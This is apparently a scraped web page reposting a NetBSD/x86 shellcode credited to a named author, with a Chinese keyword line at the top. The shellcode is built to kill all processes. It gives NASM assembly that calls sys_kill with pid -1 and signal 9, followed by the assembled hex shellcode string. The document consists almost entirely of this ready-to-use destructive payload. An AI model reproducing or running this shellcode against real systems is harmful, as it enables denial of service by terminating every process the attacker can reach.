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| 关键词： nbsp eax shellcode section netbsd Manojlovic xff int push 66 |
/* netbsd/x86 kill all processes shellcode author Teo Manojlovic contact [email protected] this shellcode is using syscall number 37 or 0x25 37 STD { int sys_kill(int pid, int signum); } here is assembler code using intel syntaxe and NASM --------------begin----------- section .note.netbsd.ident dd0x07,0x04,0x01 db"NetBSD",0x00,0x00 dd200000000 section .data section .text global _start _start: xor eax, eax push 0x09 mov eax, -1 push eax xor eax,eax mov al, 37 push eax int 0x80 -------------------------end------------ if we dissasemble this code wi will get shellcode "\x66\x31\xc0\x68\x09\x00\x66\xb8\xff\xff\xff\xff\x66\x50\x66\x31\xc0\xb0\x25\x66\x50\xcd\x80" */ |
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